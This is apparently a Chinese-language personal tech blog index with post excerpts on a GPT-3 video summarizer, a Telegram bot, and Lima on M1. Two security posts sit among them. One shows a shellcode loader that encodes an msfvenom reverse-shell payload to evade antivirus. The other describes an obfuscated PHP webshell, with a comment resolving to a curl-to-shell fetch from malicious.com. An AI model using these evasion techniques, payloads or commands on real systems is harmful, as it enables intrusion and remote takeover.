TL;DW (An AI Support Video Summarizer)

Too Long; Don’t Watch 二二八連假,我整理了一下手邊囤積的各種,還沒時間或是懶得看的教學影片。包含了各大 Conference,或是路邊撿來的一些課程內容。點開這些影片,雖然內容跟標題都非常吸引人,不過常常出現奇怪的印度口音造成理解困難 QQ。而總計數百、數千小時的影片量應該是不可能在有生之年有辦法看完的,再加上許多影片並沒有提供原始的 PPT 檔案 QQ。 因此,我寫了一個腳本來透過 GPT 3 解決這個問題!透過 GPT3 的 AI 引擎來自動地幫每一頁的簡報進行 Summarize。 Repo 載點:https://github.com/stevenyu113228/TL-DW 在腳本中,首先我透過 ffmpeg 將影片截圖成每秒一張的照片,接下來使用 UQI (Universal image Quality Index) 區分出不同的圖片,並將圖片透過 Tesseract 進行 OCR 轉換成文字;同一時間,把影片的聲音軌給分離出來,並依照截圖的時間點進行切割,即可取得每一頁投影片所對應的語音內容,再把語音內容給送入 Google 的語音轉文字服務,取得每一頁講者的語音。 有了每一頁的 OCR 結果以及講者的語音轉文字,接下來就可以由 AI 出面了!我使用了目前最夯的 OpenAI GPT-3 text-davinci-003 模型,並使用以下咒語產出 Summary。 以下是一段課堂上投影片的語音轉文字,以及其對應講義的 OCR 資料,請忽視 OCR 的錯誤及簡報 header/footer。並使用繁體中文統整該頁面之內容,專有名詞部分請盡量保留使用英文\n\n語音轉文字:```\n{voice}\n```\n\n投影片 OCR:```{ocr}```\n\n統整結果: 最終,再把結果透過 Python 的 docx 輸出成完整報告,這樣下來只需要不到原始影片三分之一的時間,就可以讀完整份影片的內容,而如果逐字稿跟 AI 對於某段的總結有點奇怪時,也可以直接從報告上取得該頁面的時間,自己切回去影片重新查看! 不過 OpenAI 的 API 是需要付費的,但它有 18 美元的試用額度,我自己實驗下來,一個 30 分鐘的教學影片約需要花費 0.3~0.7 美元,我認為是非常划算 & 值得的! ...

2023-02-28 · 1 分鐘 · steven

利用 OpenAI GPT-3 寫一個 Telegram 聊天機器人 (Cloudflare Tunnel & GCP AppEngine)

最近 ChatGPT 很紅,想說可以試著把 OpenAI 的 API 給接上 Telegram 的群組來玩玩看,順便記錄一下 GCP 的 AppEngine Deploy 方法! 程式碼我放在:https://github.com/stevenyu113228/OpenAI-GPT-3-Telegram-Chatbot 效果 OpenAI 先到 https://beta.openai.com/account/api-keys 申請一組 API Token 在 Playground 上面隨意玩一下,複製他的 Example 來微調 import os import openai openai.api_key = os.getenv("OPENAI_API_KEY") start_sequence = "\nA:" restart_sequence = "\n\nQ: " response = openai.Completion.create( model="text-davinci-003", prompt="Q: ", temperature=0, max_tokens=100, top_p=1, frequency_penalty=0, presence_penalty=0, stop=["\n"] ) Telegram API 接下來到 Telegram 的 BotFather 來新增 Bot ...

2022-12-04 · 2 分鐘 · steven

利用 Lima 在 M1 執行 x86 的 Ubuntu

超簡單就可以直接在 M1 上有類似 WSL 體驗的 x86_64 Ubuntu , Lima 是透過 QEMU 進行執行的,所以嚴格來說他是一種虛擬機,不太像 WSL 是微軟大大的黑魔法。 安裝 brew install lima 準備一個 Yaml,這邊我是直接抄官方的 Example,並修改,增加第一行的 arch,根據官方文件表示,增加 arch 就能直接指定 CPU 型態 arch: "x86_64" images: # Try to use release-yyyyMMdd image if available. Note that release-yyyyMMdd will be removed after several months. - location: "https://cloud-images.ubuntu.com/releases/22.04/release-20220712/ubuntu-22.04-server-cloudimg-amd64.img" arch: "x86_64" digest: "sha256:86481acb9dbd62e3e93b49eb19a40c66c8aa07f07eff10af20ddf355a317e29f" - location: "https://cloud-images.ubuntu.com/releases/22.04/release-20220712/ubuntu-22.04-server-cloudimg-arm64.img" arch: "aarch64" digest: "sha256:e1ce033239f0038dca5ef09e582762ba0d0dfdedc1d329bc51bb0e9f5057af9d" # Fallback to the latest release image. # Hint: run `limactl prune` to invalidate the cache - location: "https://cloud-images.ubuntu.com/releases/22.04/release/ubuntu-22.04-server-cloudimg-amd64.img" arch: "x86_64" - location: "https://cloud-images.ubuntu.com/releases/22.04/release/ubuntu-22.04-server-cloudimg-arm64.img" arch: "aarch64" mounts: - location: "~" - location: "/tmp/lima" writable: true Build 環境 這邊的 ./ubuntu.yaml 就是前面準備的內容,而 –name 則是帶之後要給他的名字 ...

2022-08-21 · 1 分鐘 · steven

Meow Ware Loader - A Windows Shellcode Loader with Meow meow

一款會把 Shell Code 給轉成 meow meow 的 Shell Code 載入器。程式碼使用方式等請參考下方 GitHub 連結。 GitHub : https://github.com/stevenyu113228/Meow-Ware-Loader 現在,有許多的防毒軟體都會透過惡意程式碼的特徵 (例如 YARA RULE) 來進行捕捉,因此部分惡意程式會透過 Shell Code 形式,在執行時間再注入到記憶體中,透過這種方式來規避查緝。 不過現在也有許多防毒軟體開始支援掃描非執行檔的 Shell Code 程式,因此可以透過把 Shell Code 進行編碼,以規避查緝,並透過 Loader 來進行載入執行。 其實這個構想是我前天晚上睡到一半想到的,剛好想到說 Encode 通常大家都愛用什麼 Base64、ROT13 這類現有的編碼方式,而防毒軟體在已知的狀況下很有可能也可以進行自動解碼,因此我想到了自創的 Meow Encode 法。 Meow Encode Method 我們知道 Meow 總共有 4 個英文字母,而如果考量到小大寫的話,總共有 2^4 = 16 種組合。我們也可以直接把大小寫當作二進位來看,小寫是 0 、 大寫是 1。因此對照表如下 MeowBinaryDecimalHexadecimalmeow000000meoW000111meOw001022meOW001133mEow010044mEoW010155mEOw011066mEOW011177Meow100088MeoW100199MeOw101010aMeOW101111bMEow110012cMEoW110113dMEOw111014eMEOW111115f 因此,編碼後的 Shell Code 會長的類似這個樣子,下面為 msfvenom 的 shell_reverse_tcp 範例 MEOWMEowMEOwMeowMeowmeOwmeowmeowmeowmeowmeowmeowmEOwmeowMeowMeoWMEOwmEoWmeOWmeoWMEowmeowmEOwmEowMeowMeOWmEoWmeowmeOWmeowMeowMeOWmEoWmeOwmeowMEowMeowMeOWmEoWmeOwmeoWmEowMeowMeOWmEOWmeOwmeOwMeowmeowMEOWMeOWmEOWmEowMeOwmeOwmEOwmeOWmeoWMEOWMEOWMeOwMEowmeOWMEowmEOwmeoWmEOWMEowmeowmeOwmeOwMEowmeOwmeowMEowmeoWMEowMEOWmeowMEoWmeowmeoWMEowmEOWMEOwmeOwMEOWmeOwmEoWmeOwmEoWmEOWMeowMeOWmEoWmeOwmeoWmeowMeowMeOWmEowMeOwmeOWMEowMeowMeOWmEowMEowmeoWmeoWmEOWMeowMEOwmeOWmEowMeowmeowmeoWMEoWmeoWmEoWmeoWMeowMeOWmEoWMeoWmeOwmeowmeowmeoWMEoWmeOWMeowMeOWmEowMeoWmeoWMeowMEOwmeOWmeOWMeOwmEowMeoWMeowMeOWmeOWmEowMeowMeOWmeowmeoWMEoWmEOwmeOWmeoWMEOWMEOWMeOwMEowMEowmeoWMEowMEOWmeowMEoWmeowmeoWMEowmEOWmeOWMeowMEOwmeowmEOWmEoWMEOWmEOwmeowmeOWmEOWMEoWMEOWMeowmeOWMeOWmEOWMEoWmeOwmEowmEOWmEoWMEOwmEowmEoWMeowMeowMeOWmEoWMeowmeOwmEowmeowmeoWMEoWmeOWmEOwmEOwMeowMeOWmeowMEowmEowMeOWMeowMeOWmEoWMeowmeoWMEowmeowmeoWMEoWmeOWMeowMeOWmeowmEowMeowMeOWmeowmeoWMEoWmeowMeowMeoWmEowmEowmeOwmEowmeOwmEowmEoWMeOWmEoWMeOWmEOwmeoWmEoWMeoWmEoWMeOwmEoWmeoWMEOWMEOWMEOwmeowmEoWMEOWmEoWMEOWmEoWMeOwMeowMeOWmeoWmeOwMEOwMeOWMeowMEoWmEoWMEoWmEOwMeowmeOWmeOWmeOWmeOwmeowmeowmeowmeowmEOwMeowmEOWmEOWmEOWmeOWmeOWmeOwmEoWMEOWmEoWmEowmEOwMeowmEowMEowmEOWmEOWmeOwmEOwmeowmEOWMEOWMEOWMEoWmEoWMeOWMeowMeoWmeowmeowmeoWmeowmeowmeowmeowmeOwMeoWMEowmEowmEoWmEowmEoWmeowmEOwMeowmeOwMeoWMeowmeowmEOwMeOWmeowmeowMEOWMEOWMEoWmEoWmEoWmeowmEoWmeowmEoWmeowmEoWmeowmEowmeowmEoWmeowmEowmeowmEoWmeowmEOwMeowMEOwMeOwmeowMEOWMEoWMEOWMEOwmeowMEOWMEOWMEoWmEoWMeoWmEOWmEOwMeOwmeowmEoWmEOwMeowMEowmeowMeOwMeowmeOwMeowMeowmeoWmEOwMeowmeowmeOwmeowmeowmeOwmEowMEOwMEoWMeowMeoWMEOwmEOwmEOwMeOwmeoWmeowmEoWmEOwmEoWmEOWmEOwMeowMeoWMeoWMeOwmEoWmEOWmEowmEOwmeoWMEOWMEOWMEoWmEoWMeowmEoWMEowmeowmEOWmEowmeowMEowMEOWMEOWmEowMEOwmeowMeowmEOWmEoWMEOwMEowmEOwMeowMEOWmeowMeOWmEoWMeOwmeOwmEoWmEOwMEOWMEOWMEoWmEoWmEOwMeowmEOwmeOWmEOwMEoWmEOwmEowmeowmeowMeowMeoWMEOwmeOWmEoWmEOWmEoWmEOWmEoWmEOWmeOWmeoWMEOWmEOwmEOwMeOwmeoWmeOwmEoWMeoWmEoWmEOwMEOwmeOwMEOWMEoWmEOwmEOwMEowmEOWmEowmEowmeOwmEowmeOWMEowmeowmeoWmeowmeoWMeowMEoWmEowmEowmeOwmEowmeoWmeowMEowmEOwmeowmeowmEowmEowmEoWmEowmEoWmeowmEoWmEOwmEoWmEOwmEoWmEOwmEowmEOwmEoWmEOwmEowMEOwmEoWmEOwmEoWmEOwmEoWmeOWmEoWmEOwmEOwMeowmEOWMeoWMEowMEowmeOWMEOWMeowmEOwMEOWMEOWMEoWmEoWMeowMeoWMEOwmeowmEowMEOwmEoWmEOwmEowmEOwMEOWMEOWmeOWmeowmEOwMeowmeowMeowMeowmEOWmeoWMEoWmEOwmeowMEOWMEOWMEoWmEoWMeOWMeOWMEOWmeowMeOWmEoWMeOwmeOwmEoWmEOwmEOwMeowMeOwmEOwMeoWmEoWMeOWMEoWMeoWMEoWMEOWMEOWMEoWmEoWmeOWMEowmeowmEOwmEOWMEowmeowMeOwMeowmeowMEOWMeOWMEOwmeowmEOWmEoWmeowmEoWMeOWMeOWmEowmEOWmeoWmeOWmEOWmeOwmEOwMEOWmEOwMeOwmeowmeowmEoWmeOWMEOWMEOWMEoWm Shell Code Loader void *exec = VirtualAlloc(0, memory_allocation, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); memcpy(exec, shellcode, memory_allocation); VirtualProtect(exec, memory_allocation, PAGE_EXECUTE, &ignore); (*(void (*)()) exec)(); 這邊我參考抄了 DimopoulosElias 大大寫的 SimpleShellcodeInjector 程式碼,其中重點是下面這幾行 ...

2022-02-28 · 1 分鐘 · steven

簡單 PHP Webshell 免殺

原本想隨便寫一個 Webshell 測試使用,但一下就被 Defender 吃掉了 "str_ro" // "str_ro"."t13" => "str_rot13" // ("system")(("str_rot13")($e)) => system(str_rot13($e)) // system(str_rot13($e)) => system("curl malicious.com/a.sh | sh") 在 VirusTotal 上竟然 All pass ㄏ

2022-02-15 · 1 分鐘 · steven